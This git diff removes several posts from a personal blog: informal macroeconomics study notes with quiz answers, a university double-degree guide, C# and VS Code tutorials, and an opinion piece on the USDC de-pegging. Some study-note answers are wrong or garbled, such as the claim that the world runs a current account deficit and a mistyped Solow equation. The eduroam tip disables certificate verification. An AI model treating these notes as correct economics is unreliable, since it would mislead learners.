rate, year in and year out. - -- central bank has considerable influence over the rate of money growth so it can be held accountable for deviation -- steady money growth would lead to smaller cyclical fluctuations than "countercyclical" monetary policies used historically -- ultimately, the growth rate of the monetary aggregate selected would be consistent with an inflation rate near zero -- some are open to suspending rules during a depression - -### Central Bank Credibility - -Monetarism relies on the assumption that the government and the central bank are incompetent and can't intervene effectively. The argument against rules is that the central bank has done better post world war II; in other words, monetary policy is getting better. However, the rules argument is not just about incompetence but also about credibility. - -- Suppose the central bank says they will maintain a stable money supply. If there is no credibility, firms can increase prices because they know the central bank will increase money supply. If there is credibility, firms will realize prices would come down anyways. - -To increase credibility, the central bank has to be willing to let the economy go into a recession if firms doubt the central bank and try messing with short-term output. - -Ironclad rules create risks when prevent corrective actions from taking place during unexpected crisis' (e.g. depression). - -### John Taylor's Rule and Inflation Targeting - -nominal overnight interest rate = inflation + 0.02 + 0.5 * percent deviation from full-employment output + 0.5 (inflation - 0.02) - -where inflation is the trailing twelve months and 0.02 is the target for inflation - -Described actual behaviour of U.S. Federal Reserve quite accurately. Meant as a guideline. A number of countries have adopted inflation targeting since the 90s. An advantage is that it's simple to understand so households can make decisions. A major disadvantage is that inflation responds to policy with a long lag so the bank has to act 12-18 months early. - -### Price-Level Targeting - -Bank of Canada is exploring targeting price level because it provides certainty about long-term purchasing power of money. With inflation targeting being a band of 1-3% per year, investors have to plan for cumulative inflation of 28% to 109% in 25 years. With price-level targeting, the price level fo 164.06 is certain, but the central bank must allow inflation to be variable. If year one has 1% inflation, under inflation targeting, only 2% needs to be hit in the next. Under price-level targeting, a price level of 104.04 is sought and an inflation rate of 3% is tolerable. - -Price level targeting allows greater flexibility. If interest rates are raised to cool housing and inflation falls, there is still commitment that the long-term price-level will remain. - -The decision to use Price-Level targeting all comes down to the public's ability to plan and look ahead. - -### Other Ways to Boost Central Bank Credibility - -- Tough Central Banker: someone who strongly dislikes inflation -- Incentives: losing job if targets are not met -- Independence: evidence supports that independent central banks are more credible (with relation to annual inflation rate) - -## Chapter 15 - Government Spending and Its Financing - -### Government Sectors - -The total government sector is composed of: - -- federal -- provincial -- territorial -- local/municipal - - School boards -- Canada and Quebec Pension Plans - -### Government Expenditures - -Total government expenditure is 40% of GDP! (yikes). - -1. Purchases: spending for goods and services (schools, defences, infrastructure maintenance, public servants) -2. Transfers: payments to individuals without a good/service in return (Old Age Security, Civil pensions, foreign aid, EI, social assistance) -3. Interest Payments: paid to holders of government bonds - -Below is a table of government expenditures for countries with allegedly similar living standards. - -Country | 1987 | 2000 | 2019 ---- | --- | --- | --- -France | 51.9 | 51.6 | 54.4 -Finland | 48.5 | 48.4 | 51.6 -Italy | 50.8 | 45.8 | 50.0 -Sweden | 62.3 | 55.1 | 49.6 -Norway | 50.5 | 42.3 | 48.3 -Germany | 45.8 | 45.1 | 44.2 -Iceland | 37.4 | 41.9 | 43.0 -Netherlands | 58.4 | 44.1 | 41.8 -United Kingdom | 43.6 | 39.1 | 41.0 -Canada | 46.1 | 40.5 | 40.9 -Average OECD | 40.4 | 38.4 | 40.2 -New Zealand | 53.6 | 38.1 | 38.3 -United States | 37.0 | 33.4 | 38.1 -Japan | 31.5 | 38.5 | 38.2 -South Korea | 17.7 | 22.4 | 36.6 -Australia | 38.9 | 33.9 | 35.0 -Ireland | 52.0 | 31.2 | 24.8 - -Revenue comes from direct and indirect taxes. - -Revenue comes from direct (imposed on taxpayer such as personal income taxes, property taxes, and payroll taxes such as EI and CPP/QPP) and indirect taxes (25%) where the burden imposed on an entity is passed to another entity (e.g. sales tax, GST, HST). - -Budget break down: - -1. Good and Services: 1/4 of federal spending and 3/4 for other levels -2. Transfer Payments: Greater proportion in federal than lower tiers -3. Interest Payments: more important in federal but proportion wise lower-tier pay more - -Reminder that surplus = Tax Revenue (T) minus Government purchases (G) minus Transfers (TR) minus interest payments (INT) - -The **primary budget surplus** excludes interest payments. The importance of this concept is to answer the question on if the government can afford its current programs. - -### Automatic Stabilizers - -- GDP rises: taxes rise and spending falls without legislation - - Employment Insurance - - Income tax system -- Higher government spending and deficits during recessions and lower spending during expansions and lower deficits -- _full-employment surplus or deficit_ (or structural surplus/deficit): government budget balance if economy was at full-employment - -### Government Capital Formation - -- how does the government spend its resources -- current items (police officers) versus capital items (mass transit systems) -- a current deficit does not include capital spending but does include upkeep (fight against depreciation) -- net lending = T - (G + TR + INT - dK + I) = saving + dK - I -- net lending is usually higher then depreciation so net lending is less than saving -- surplus that is based on current spending is higher than one that includes investment spending - -### Incentives and Taxes - -- If average taxes go up but marginal stays the same, labour goes up -- if marginal goes up and average stays the same, less labour is supplied -- Therefore, to keep people working, need to increase the lowest marginal rates? -- **Distortions**: tax-induced deviations from the efficient free market outcomes -- Distortions occur because of why people are motivated to work - - It seems that at the end of the day increasing taxes for average people does more harm -- As income rises in Canada, benefits fall. The additional dollar may also result in losing the benefit - - High marginal tax rates and low average tax rates discourages labour supply and leads to **poverty trap** - - Disposable income does not increase as fast as earned income - -Why is it hard to eliminate the poverty trap? - -1. It means it costs money to subsidize low-income workers when they enter the labour force. -2. Coordination from the federal and provincial governments as one is responsible for refundable income tax credits and the other administers social assistance - - My solution: federal government should not be directly transferring to individuals but only to provinces. The existence of a transfer to individuals by both the provincial government and a federal government indicates redundant wealth transfers that can be delegated to the provincial government as the federal government's duties are about laws, national defence, and economic guidance - -**tax rate smoothing**: maintaining stable tax rates to minimize distortions - -Arthur Laffer curve: government revenue is 0 at both 0% and 100% tax rates. At a certain point, an increase in the tax rate causes a decrease in the tax base. - -In 2013, a study found that 5 of 10 province corporation tax rates were higher than optimal collection (Saskatchewan, New Brunswick, Nova Scotia, Newfoundland and Labrador, and PEI). - -### Deficits and Debt - -- debt: total value of government bonds outstanding since bonds are used to finance debt - - net of debt owed to government via financial assets -- debt-GDP ratio: debt outstanding over GDP -- the budget deficit equals the change in the nominal value of the government bonds outstanding -- Change in Debt-GDP ratio = Deficit:GDP + (Interest:GDP - GDP Growth) * Previous Debt:GDP -- change in debt-gdp ratio: - - = (G + TR - T) / Y (budget deficit ratio) + (interest rate - growth rate) * (previous debt-GDP ratio) - - = deficit ratio divided by the GDP -- If GDP increase by 2%, then do deficit ratio / (GDP * (1 + 2%)) - ---- - -- there is a view that the billions in debt will need to be paid by children and grand children via taxes so government borrowing robs the future - - caveat: bonds are owned by Citizens therefore future payers of debt are already the ones being the recipients of the interest and principal\ - - issue 1: higher tax rates and current budget deficits will lead to a distortion - - issue 2: most people hold no or little bonds but will be the ones paying higher taxes to pay debt than receiving interest. may have fewer public services - - bond holders are richer on average - - issue 3: government deficits reduce national saving and thus economy accumulates less domestic capital and foreign assets; lower standard of living for future generations. David Johnson of WLU concluded that debt accumulation from 1975 - 1996 resulted in lower incomes of 3-10%. Cos of $57 to $189B - -[is the debt war over?](https://www.mcgill.ca/economics/files/economics/introductory_essay.pdf) - -### Departures from Ricardian Equivalence - -Assumption is that the same people paying taxes today will be responsible for paying back the debt that the government accumulated during their life. The argument that the equivalence would hold is that the current generation would save out of the goodness of their hearts to help the next generation BUT it will still appear unfair either in the sense that the next generation earns less and pays more in taxes and thus is looked down upon by the current generation as being too stupid to earn more. - -Reasons it may fail: - -1. borrowing constraints: many people would consume more if lenders existed -2. shortsightedness: people don't get that they will pay for the government's debt -3. failure to leave bequests: no inheritance because they believe children will be richer -4. non-lump-sum taxes: level and timing of tax cuts have effect on the economy - -### Deficit and Inflation - -- deficit causes higher AD, higher price levels, and lower desired national saving (IS upward) -- can lead to ongoing increases in money supply - - central bank funds the government's borrowing instead of taxes or public borrowing - - seigniorage: the revenue governments raise from printing money (only for governments with the right to issue money) - - finance department or treasury authorizes borrowing → new bonds are issued → central bank is asked to purchase → new currency issued (monetary base increases) - -> Heavy reliance on seignorage usually occurs in war-torn or developing countries, in which military or social conditions dictate levels of government spending well above what the country can raise in taxes or borrow from the public - -What happened during 2020 in Canada though? Hmmm. - -## Chapter 6 - Long-Run Economic Growth - -- small differences in growth rates lead to large differences in the average person's income -- since 1973, industrialized countries experienced a sustained slowdown; significant slowdown of productivity growth - - argument one: no slowdown bu measurement error (failing to measure improved quality of capital inputs - like computers) - - my take: probably this since desktops came in 1970s and they only got cheaper and better over time. It's easy to fail to adjust the value of today's computers and electronics to as high as they used to be. Especially as price data is lost and competition is rife. Old technology was measured so high but it's output would be worth $0 today - - argument two: large increase in oil prices since the timing and universal effect is there but productivity did not surge back up after oil prices came down - - this did reduce productivity, obviously but by the time prices went up, computers started taking over - -> No one understands completely why economies grow, and no one has a magic formula for inducing rapid growth. Indeed, if such a formula existed, there would be no poor countries - -### Sources of Economic Growth - -- elasticity of output with respect to capital (alphaK) -- elasticity of output with respect to labour (alphaN) -- growth accounting equation: - -_growth rate of output = growth rate of productivity + alphaK \* growth rate of capital + alphaN \* growth rate of labour_ - -- Measure of growth need to be adjusted for skilled -- Using historical data, alphaK = 0.3, alphaN = 0.7 -- East asian miracle: growth attributed to capital and labour growth rather than productivity growth - - higher labour participation - - higher national saving -- due to diminishing returns, productivity is key for sustained growth - -### Neoclassical Growth Model - -- 1950s Solow–Swan model -- Nt: number of workers available in year t (growth = n) -- Kt: capital stock in year t -- Consumption\_t = Output\_t - Gross Investment\_t -- yt = Yt / Nt = output per worker -- ct = Ct / Nt = consumption per worker -- kt = Kt / Nt = capital stock per worker (capital-labour ratio) - -Production: Y = At * F(Kt, Nt); yt = At f(kt) - ---- - -- Steady states: long-run - - output per worker, consumption per worker, and capital stock per worker are constant (everything grows at rate n) - - It = (n + depreciation)Kt - - Ct = Yt - (n + d)Kt - - c = Af(k) - (n +d)k - - Golden Rule capital-labour ratio: KG required to Maximize consumption per worker - - essentially, for higher capital-labour ratios, increases in the ratio lead to less consumption due to maintaining the high ratio -- Reaching the steady state - - Saving t = s (constant) Yt - - sYt = (n + d)Kt \[steady] - - this constraint fixes the capital-labour ratio unless there is a change in population growth, saving rate, or productivity - - since population growth cannot keep increasing, in the long-run only productivity growth increases per-capita growth - - sAf(k) = (n + d)k \[steady] - - usually below the golden rule steady state - -### Long-Run Living Standards - -- An increase in productivity: increases output, incomes, saving, capital stock; y = Af(k) curve **shifts up** -- living standards: output, consumption, and capital per worker -- higher saving rate: higher long-run output due to larger capital sock ( sAf(k) curve shifts up) -- increase in population growth rate: causes long-run output to fall since more output is used to equip workers with capital rather than for consumption; (n+d)k curve shifts up - -### Endogenous Growth Theory - -- AK model -- neoclassical growth model assumes, rather than explains, the behaviour of the crucial determinant of the long-run growth rate of output per capita. -- human capital: invest in people and thus productivity increases and if **physical capital and human capital are correlated**, then marginal productivity of capital does not need to diminish -- R&D generates technical know-how which is productive and offsets capital productivity declining - -### Environment and Economic Growth - -- U shaped -- China example of air quality declining and now improving - -### Long-Run Growth Policies - -- affecting the savings rate - - if there is no discrimination against individuals spending or saving, savings rate freely chosen should be optimal in balancing short-term pain for long-term gain - - Canadians save too little and policy should raise saving rate - - if real interest rate affects saving, hen a tax change that increased the real return would work - - taxing consumption and not income; too small of a response - - require people to save (e.g. CPP) - - government saving, but can deficit spending on infrastructure work? - - savings rate can automatically increase if disposable income increases due to a non-zero marginal propensity to save - - reducing income tax rate - - lowering cost of necessities like shelter, food, clothing, transportation - - shelter costs can be reduced by: - - cutting red tape on new housing construction - - cutting taxes on new housing construction - - expanding zoning to allow mixed-use constructions that allow small businesses owners to live above their small business which would increase the money reinvested into the business by allowing the owner to temporarily pay themselves a lower wage -- democracy - - relative to dictatorships: less wars, better relations, pro-investment - - economic growth? - - India (democracy) vs. China (one-party) - - Jenny A. Minier: used control groups and compared countries that transitioned from/to democracy -- affecting productivity rates - - quality of nation's infrastructure and productivity - - highways, bridges, utilities, dams, airports - - has to complement activities of the private sector - - e.g. lowering transportation costs - - public–private partnerships - - human capital and productivity - - education, worker training/relocation, health - - Specific programs should be examined carefully to see whether benefits exceed costs - - **entrepreneurial skill**: building successful new business or new products tto market - - remove unnecessary barriers to entrepreneurial activity (excessive red tape) - - research and development - - research councils - - scientific and technical progress, even commercially oriented - - government does 25% of R&D spending which has fallen since 1963 (worst in G7) - - government should fund more masters, PhD's, and research rather than rely on tax credits - - industrial policy - - influence countries pattern of industrial development through taxes, subsidies, or regulation - - setting investment policies of crown corporations like CPP to invest more in industries or startups - - promote high-tech industries - - borrowing constrains: startups can't finance projects - - spillovers: one company bears cost of the breakthrough while others do the cheaper improvements - - subsidy or patents - - dangerous since not easy to pick the winning tech and could support political supporters not economic promise - - market policy - - extent of intervention in the markets - - spectrum between communism and capitalism - - possibility of monopolies and oligopolies to emerge - - unattractive: medical care - - social insurance - - well-designed social net is important for redistributing economic gains and when there is a fallback, greater risk can be taken to strive for growth - -## Knowledge Check - -According to the misperceptions theory, short-lived shocks may have long-term effects on the economy because of `______` - -- A) accelerator effects. -- B) automatic stabilizers. -- C) multiplier effects. -- D) propagation mechanisms. <--------- - -When is SRAS > LRAS (Misperceptions) - -Answer: when actual price level is higher than the expected price level - -The reason for different effects of an anticipated fiscal policy on the full-employment output in the Keynesian and Classical models is - -- A) the Keynesian model assumes rational expectations, but the Classical model assumes perfect insight. -- B) the Keynesian model assumes perfect insight, but the Classical model assumes rational -- C) contrary to the Classical model, the Keynesian model assumes that policy has no wealth effect. <----------- -- D) the Keynesian model assumes perfect insight, but the Classical model assumes rational expectations. - -For Keynesian, there is no wealth effect due to price level adjusting in case of MS policies and expectations theory in case of - -Sacrifice Ratio: output lost for each 1% reduction in inflation - -Hystersis: natural rate of unemployment changes in response to the actual unemployment rate (rises if actual unemployment rate is below natural) - -change in debt-gdp ratio: - -```txt -= (G + TR - T) / Y (budget deficit ratio) + (interest rate - growth rate) * (previous debt-GDP ratio) -= deficit ratio + (interest:gdp - growth) * previous debt-GDP-ratio -= deficit ratio divided by the GDP -``` - -If GDP increase by 2%, then do deficit ratio / (GDP * (1 + 2%)) - -The per-worker production function in the Solow model assumes `______` - -- A) increasing returns to scale and diminishing marginal productivity of capital. -- B) constant returns to scale and increasing marginal productivity of capital. -- C) constant returns to scale and diminishing marginal productivity of capital. <---- -- D) decreasing returns to scale and diminishing marginal productivity of capital. - -`s * f(k) = (n + k) k` - -Friedman-Phelps - -unanticpated inflation vs. unemployment at a natural rate of unemployment -requires expected inflation and natural rate are equal - -You just read that forecasters predict Canada will run a current account deficit in 2004. From this you would infer that Canada will also `_______` - -- A) decrease its holding of net foreign assets. -- B) run a capital account deficit in 2004. -- C) run a balance of payments surplus. -- D) decrease its official reserve assets. - -Capital account surplus = decrease in net foreign assets - -Which of the following statements is true? - -- A) The world as a whole has a current account deficit. -- B) The world as a whole has a balance of payment surplus. -- C) The world as a whole has a current account balance. -- D) The world as a whole has a current account surplus. - -The world has a current account deficit - -This is because a current account deficit equals capital account surplus. Therefore, it follows that there is a higher deficit due to this mechanism rather than the offsetting current account surpluses in other countries. - -If there is an increase in the future marginal product of capital in a large open economy, it causes the -current account to `________` and saving to `________`. - -- A) fall; remain unchanged -- B) fall; rise -- C) rise; rise -- D) rise; remain unchanged - -If future marginal product of capital increases, then current investments increase, which can borrow locally or at the world rate (current account falls). The higher rates entices saving. - -Absorption: amount consumed by domestic residents - -When a temporary adverse supply shock hits a small open economy, it causes the current account to -`________` and investment to `________`. - -- A) fall; remain unchanged -- B) fall; fall -- C) rise; remain unchanged -- D) rise; fall - -Remember that a decrease in savings corresponds to a decrease in current account and that in a **small** open economy, rates are unaffected change. diff --git a/content/posts/university/uw-wlu-double-degree.md b/content/posts/university/uw-wlu-double-degree.md deleted file mode 100644 index 2ca78515f..000000000 --- a/content/posts/university/uw-wlu-double-degree.md +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: "UW WLU Double Degree" -date: 2021-12-17T21:36:13-05:00 -draft: false -tags: - - university -summary: "What you should know about the program and the University environment from someone who attended from 2019 - 2024." ---- - -I started my double degree BCS and BBA journey in Fall 2019. Here are some things you should know about the program plus the University environment. I'll start with the tips so that this post is useful for everyone. - -{{< toc >}} - -## A Review From a Graduate - -I'm not going to lie, I think taking CS degree with a single Business course, one macro-economic course, two micro-economic courses, and a Finance minor is much better than a double degree. The business side is not as fledged out for becoming a business mogul. Two extra terms for a second degree is not worth it when I can name 9+ Business courses that were trash/useless and 1 meh CS course than was required due to DD (Info Systems Management which only taught me that once an organization has many aspects/resources, you should use an ERP). I could come up with a much more effective CS/business curriculum blend. It also makes no sense that a 4 year business program is less valuable than a 2 years MBA. - -## University Life Tips - -### Connecting to eduroam - -This is a pain in the ass every time I get a new device because I have to Google for it instead of pulling up my blog. Even more so with my Pixel 7. - -For normal connections, the username follows `lope3800@wlu.ca` with the same password you use to login to your email. - -If you are running AOSP 11+, like the Google Pixel 7, this is what you need to set. If you want to use your University of Waterloo identification, just use `waitIAM@uwaterloo.ca`. - -- EAP method: PEAP -- Phase 2 authentication: MSCHAPV2 -- CA certificate: trust on first use -- Do not verify -- Identify: `lope3800@wlu.ca` or `e5lopez@uwaterloo.ca` -- Password: same as @mylaurier.ca password or uwaterloo.ca password -- If connection doesn't work try changing Advanced → Privacy → Use device MAC 😒 - -On Linux devices, disable the certificate password and only supply the username and password given here. - -## Homeschool Differences - -### Scholarships - -WLU has higher scholarship values than UW. The amount changes each year. For example in my year, WLU provided C$5,000 for first year but in 2021, that value was less than or equal to C$4,000. I'm not entirely sure because I forgot what my friend said they received. - -### Tuition - -- Quest and Loris are both accessible but, -- UW-based students will need to use Quest to pay & view their tuition bill -- WLU-based students will need to use Loris to pay & view their tuition bill - -### First Year Residences - -- You go through your home school to get a residence -- Both typically have dorm style or apartment style -- Dorm = food plan ($$$) and apartment = food stamps (flex dollars) - - [Flex dollars](https://students.wlu.ca/registration-and-finances/onecard/where-to-use-it.html) -- GRT (public transportation) pass: UW students use watcard, WLU students uses onecard - - Press the respective card on the reader to "pay" for the bus -- Orientation - - Laurier - - Has some over-rated 4 teams event during O-week. I didn't find it interesting. It's easier to befriend people who live near you. - - There was a residence floor meeting that helps you break the ice with people on your floor. At least for apartment style - - Waterloo - - Math students got pink ties 😂 -- Co-Op - - UW students use WaterlooWorks, WLU students use Navigator - - UW students have a co-op term for the first summer term, WLU students get a summer break (interpret that however you wish to) - - WLU students don't have to take the infamous Professional Development (PD) that UW students have to take. Both involve at least one work term report. - - Navigator vs. WaterlooWorks - - Navigator has more business related jobs and the software jobs also are also from these typical businesses. e.g., RBC, TD, Scotiabank, EY, Deloitte, etc. - - WaterlooWorks has more tech-related jobs - - I'm unsure if WaterlooWorks has the same accounting, legal, analyst jobs that Navigator has - -## How to Prepare for University - -I did not prepare at all. I spent my time life-guarding as well as working on my [music player, Music Caster](https://github.com/elibroftw/music-caster). -I will share some advice. - -- The first two weeks do not represent the semester at all -- Brush up on first principles of calculus. Limits are integral (see what I did there) in Calculus 1 (MATH 137) -- Be ready to learn a lot of new concepts in "Algebra" (MATH 135) - - WLU-based students should pay more attention to this course, as I noticed more of them struggle with the math courses than their UW counterparts - - This does not mean imply UW students are smarter than WLU students -- Be ready to wake up before 8 AM for the 9:30 AM classes - - Take into account transportation time -- For BU 111, install the [Python Programming Language](https://python.org/download) - - It's superior to the native calculator application [operators: +, -, /, // (integer divide), * (multiply)] - - Take a look at [Number Crunching Automation](https://github.com/elibroftw/number-crunching-automation) for some useful functions -- Enjoy your summer, seriously - -### Moving to Campus - -- If WLU based, you'll first need to visit Lazaridus Hall - - Pick up residence keys/pass - - Pick up orientation kit - - If you took a picture of yourself for the Onecard, pick that up here too - - If you forget, you can go to that Starbucks area with the seats and you'll see a photo-booth that'll have your card - -### UW Advanced Courses - -- The default first year math courses (MATH 137, MATH 135, MATH 136, MATH 138) are already harder than most Canadian Universities' first year math courses -- Computer Science students can take 12X math courses to have an easier time, but it only hurts them in the long run (easy = less stimulating) -- Advanced courses are for the highest academic achievers who are ready to put in the time and effort - - This is for people who got 90+ on the Euclid - - Even being the smartest student at your high school is not enough to handle it - - Getting a 100% in high school math is just the prerequisite - -Two of my friends from high school that were in CS enrolled in both advanced math classes with one even signing up for the advanced CS class. Then, once they found it really tough (~2nd week), they switched to normal stream and had to catch up with me 😂. - -### University of Waterloo's Campus is Better - -It took me a couple years to realize, but the University of Waterloo campus is better. The Laurier campus seems to have cliques, but the Waterloo campus is bigger and the student areas are always filled with lots of random people you can easily socialize with. On the Laurier campus, it always feels lonely and you can't do anything about it but on the Waterloo side, it's most definitely a choice. diff --git a/content/posts/uno-platform-logging.md b/content/posts/uno-platform-logging.md deleted file mode 100644 index bc649df59..000000000 --- a/content/posts/uno-platform-logging.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: "Uno Platform Logging" -date: 2023-02-17T21:59:46-05:00 -draft: false -tags: - - c-sharp - - uno-platform - - mobile - - programming - - tutorial -summary: "Learn how to implement logging and use tracepoints in your Uno Platform applications for effective debugging and monitoring." ---- - -Note that you will need to run with debugging (F5) for some logging and breakpoints/tracepoints to work. - -If you want to log regardless of debugging, then using the info function may work for you better. - -## Tracepoints - -First, if you simply need to debug something, try using -[Visual Studio Tracepoints](https://learn.microsoft.com/visualstudio/debugger/using-tracepoints?view=vs-2022) which is nothing but a breakpoint as shown below (use curly braces to print variables). Click the the light grey part on the extreme left, add an action, and voila. - -![breakpoint screenshot](/images/c-sharp/visual-studio-breakpoint.webp) - -## Logging - -In your `Page.xaml.cs`, add the differences - -```cs -using Uno.Extensions; -using Uno.Logging; - -public sealed partial class YourPage : Page { - - private static ILogger _logger { get; } = typeof(YourPage).Log(); - - private void ButtonClick(object sender, RoutedEventArgs e) { - - _logger.LogTrace("wont show up, cause we set the LogLevel to be Debug in the next step"); - _logger.Debug("asd"); - _logger.Error("qwe", new Exception("zxc")); - } -} -``` - -In `App.xaml.cs` and `AppHead.xaml.cs`, in `InitializeLogging` above the default filters, modify the first line of code below. I have provided this code in context and it works regardless of where the page is located in your project. For -example, the page this blog post is based on is located in a Views directory. - -```cs -// Custom filters -builder.AddFilter("YourProject.YourPage", LogLevel.Debug); -// Default filters for Uno Platform namespaces [THIS IS ALREADY IN THE FILE] -builder.AddFilter("Uno", LogLevel.Warning); -builder.AddFilter("Windows", LogLevel.Warning); -builder.AddFilter("Microsoft", LogLevel.Warning); -``` - -This blog post is adapted from [this GitHub discussion](https://github.com/unoplatform/uno/discussions/11348#discussioncomment-5005121) diff --git a/content/posts/usdc-depegging-panic-selling.md b/content/posts/usdc-depegging-panic-selling.md deleted file mode 100644 index 79d51baf7..000000000 --- a/content/posts/usdc-depegging-panic-selling.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: "USDC De-pegging is/was Panic Selling" -date: 2023-03-15T23:26:23-04:00 -draft: false -tags: - - opinion - - finance -summary: "An analysis of the USDC de-pegging event in March 2023, arguing that the drop below 1:1 USD was primarily due to panic selling rather than fundamental risk, and discussing the author's perspective on the Silicon Valley Bank collapse." ---- - -On Friday night, [USDC](https://www.circle.com/en/usdc), a virtual currency that is supposed to be stabilized at a 1:1 ratio with the USD lost its peg due to a combination of two news events. Circle, the company that issues USDC and allows redemption of it for USD stated that it had 3.3B (8.175% of 40B) of its cash & cash equivalents in [Silicon Valley Bank (SVB)](https://en.wikipedia.org/wiki/Silicon_Valley_Bank), the bank that collapsed last week. The second event was [Coinbase](https://twitter.com/coinbase/status/1634399032767307776) freezing redemptions with plans to recommence Monday. - -Panic selling immediately started and USDC lost its peg even more than 8.175%. All because investors were so pessimistic and worried that all 3.3B would be unrecoverable! I know this is coming after FDIC has made all depositors whole, but I will walk you through my thought process. Even if the 3.3B was unrecoverable, the peg would be 0.9125, not the 0.88 that was seen during the morning of Saturday. - -Well when I woke up and I read the news, immediately started thinking of what the actual level of risk was. Well you see, the day before I was reading up on the SVB situation and my mind was figuring out the cause of the situation. The cause isn't political like some charlestons may have you believe. Some people like to blame political jargon but not all issues are political, some is just incompetence! The incompetence being placing most of the depositors assets in a 10 year mortgage backed security with a 1.5% yield when interest rates were at their lowest. The cfo or investment manager at SVB did not anticipate interest rate increases once the inflation rates for 2022 stated coming in. Not only did they not factor in interest rate increases, they waited until multiple raises to realize that the unrealized losses and some realize losses that they don't have enough cash to cover withdrawals! Anyways, the key detail is that the yield was 1.5%, maturity is 8 years now, and that the yield on comparable fixed income securities would be 3.7 to 4%. Fixed income market prices have an inverse proportion to yields, so if we use a bond price calculator to figure out relative prices, we see that in the worst case, SVB has a 730/880 = ~17.7% unrealized loss. - -Using this information, in the worst case, circle would be out ~0.58B, not 3.3B out of the 40B or so assets they have. Some of these assets were in short term fixed income itself paying 0.4%. Thus the fair price in my mind wasn't 91 cents but rather 99 cents and since redemption would starts back on Monday, this was a pure reward play which I would say is a once in a lifetime opportunity, but I'll admit I sold my GME calls one day before they popped in 2021, so clearly these high reward low risk opportunities open up frequently. Since I had crypto on me, I could leverage kucoins 10x leverage and expect a 98% return in 2 days. Alas, my mind was more preoccupied with being right than making money. - -Let me know your thoughts on this analysis of mine, I'm open to criticism. I'll admit, the unrealized loss figures might be off, but the opportunity only lasted for 1 to 2 hours and I did not have the luxury to spend all that time finding all the information. - -
Blaming "diversity" - -Some people, WSJ included, like to point out that the bank failed because of diversity initiatives. This is very disingenuous. -First of all, management is 100% white in terms of race and not a single woman on management is in a position that is not stereotypically dominated by men. Second of all, diversity has nothing to do with intelligence! Diversity doesn't reduce critical thinking (unless it is done wrong) and it doesn't improve critical thinking unless cultural differences or differing experiences are taken advantage of. The only way diversity could have caused this bank failure is if there was a culture that promoted minimizing shareholder valuation. - -This whole situation is like that movie Margin Call, except the person working in risk is non-existent (Chief of Risk was vacant for 8 months while interest rates were being raised). Clearly, the people to blame for SVB's collapse is management and then the board, although can the board really be blamed when it is management that was supposed to manage the company properly? - -
diff --git a/content/posts/vscode-aspnet-rest-api-launch-configuration.md b/content/posts/vscode-aspnet-rest-api-launch-configuration.md deleted file mode 100644 index cfbb652b6..000000000 --- a/content/posts/vscode-aspnet-rest-api-launch-configuration.md +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: "ASP.NET WEB API launch.json for Visual Studio Code" -date: 2023-01-29T13:03:33-05:00 -draft: false -tags: - - programming - - tutorial - - c-sharp - - asp.net - - vscode -summary: "Configure your ASP.NET Core Web API project for debugging in Visual Studio Code using a custom `launch.json` file, enabling a native development experience." ---- - -Suppose you want to be able to work on your ASP.NET application in Visual Studio as well as Visual Studio Code. Sure you can use the run feature of the Solution Explorer extension in Visual Studio Code, but that's not a native feeling. - -Create the following file: - -
.vscode/launch.json - -```json -{ - "version": "0.2.0", - "configurations": [ - { - // Use IntelliSense to find out which attributes exist for C# debugging - // Use hover for the description of the existing attributes - // For further information visit https://github.com/OmniSharp/omnisharp-vscode/blob/master/debugger-launchjson.md - "name": ".NET Core Launch (web)", - "type": "coreclr", - "request": "launch", - "preLaunchTask": "build", - "program": "dotnet", - // alternative program: if you have changed target frameworks, make sure to update the program path. - // "program": "${workspaceFolder}/SttApi/bin/Debug/net7.0/SttApi.dll", - "args": ["watch"], - "cwd": "${workspaceFolder}/SttApi", - "stopAtEntry": false, - "console": "integratedTerminal", - // Enable launching a web browser when ASP.NET Core starts. For more information: https://aka.ms/VSCode-CS-LaunchJson-WebBrowser - "serverReadyAction": { - "action": "openExternally", - "pattern": "\\bNow listening on:\\s+(https?://\\S+)", - "uriFormat": "%s/swagger" - }, - "env": { - "ASPNETCORE_ENVIRONMENT": "Development", - "ASPNETCORE_URLS": "http://localhost:5284", - // restart instead of prompt if a non-hot reloadable edit was made - "DOTNET_WATCH_RESTART_ON_RUDE_EDIT": "true" - }, - "sourceFileMap": { - "/Views": "${workspaceFolder}/Views" - } - }, - { - "name": ".NET Core Attach", - "type": "coreclr", - "request": "attach" - } - ] -} -``` - -
- -Press F5 and enjoy. diff --git a/content/posts/vscode-remote-ssh.md b/content/posts/vscode-remote-ssh.md deleted file mode 100644 index d25689a0f..000000000 --- a/content/posts/vscode-remote-ssh.md +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: "VS Code Remote SSH Tutorial" -date: 2020-09-11T18:23:50-05:00 -tags: - - programming - - tutorial - - ssh - - vscode -aliases: ['/posts/vs-code-remote-ssh/'] -summary: "Integrate SSH into VS Code for seamless remote development without constant password prompts. Learn how to generate and add SSH keys, troubleshoot connection issues, and configure proxy jump for enhanced workflow." ---- - -In this tutorial we'll integrate SSH into VS Code in a way that won't require entering a password every time. - -
Troubleshooting on Windows - -Visual Studio Code is incredibly wasteful on Windows. The developers have no respect for users' -devices. If one of your devices can't connect to the remote-ssh server two times in a row without any -obvious reasons, then you should first [download VSCode](https://code.visualstudio.com/download) but -before re-installing, remove VSCode from your device including `%APPDATA%\Code` and `%USERPROFILE%\.vscode`. - -It would be a good idea to either use VSCode's sync feature or save a copy of your `settings.json` as well as taking -a note of the extensions you have installed. - -After re-installing VsCode, my computer could connect to the ssh-server in 0.5 seconds. In the end, totally worth it -since I removed 4GB worth of files related to vscode even after it had been uninstalled from my computer. - -
